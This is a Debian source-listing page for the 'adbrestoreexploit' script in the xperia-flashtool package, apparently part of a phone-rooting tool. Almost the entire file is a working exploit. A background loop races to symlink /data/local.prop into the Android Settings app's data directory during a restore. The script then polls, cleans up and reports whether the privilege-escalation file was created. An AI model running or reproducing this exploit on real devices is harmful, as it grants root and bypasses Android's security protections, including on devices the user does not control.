File: adbrestoreexploit

package info (click to toggle)
xperia-flashtool 0.9.34%2Bds-2
  • links: PTS, VCS
  • area: main
  • in suites: sid
  • size: 3,692 kB
  • sloc: java: 30,923; xml: 540; sh: 348; makefile: 12
file content (26 lines) | stat: -rw-r--r-- 642 bytes parent folder | download | duplicates (3)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
echo "while ! ln -s /data/local.prop /data/data/com.android.settings/a/file99 > /dev/null 2>&1; do :; done" > /data/local/tmp/exploit
chmod 755 /data/local/tmp/exploit
/data/local/tmp/exploit &
export EXPPID=$!
export COUNT=0
while /data/local/tmp/busybox test 1 = 1
do
   export COUNT=$(/data/local/tmp/busybox expr $COUNT + 1)
   sleep 1
   if /data/local/tmp/busybox test $COUNT -eq DELAY
   then
      break
   fi
   if /data/local/tmp/busybox test -f /data/local.prop
   then
      break
   fi
done
kill -9 $EXPPID
rm /data/local/tmp/exploit
if /data/local/tmp/busybox test -f /data/local.prop
then
   echo Success
else
   echo Failed
fi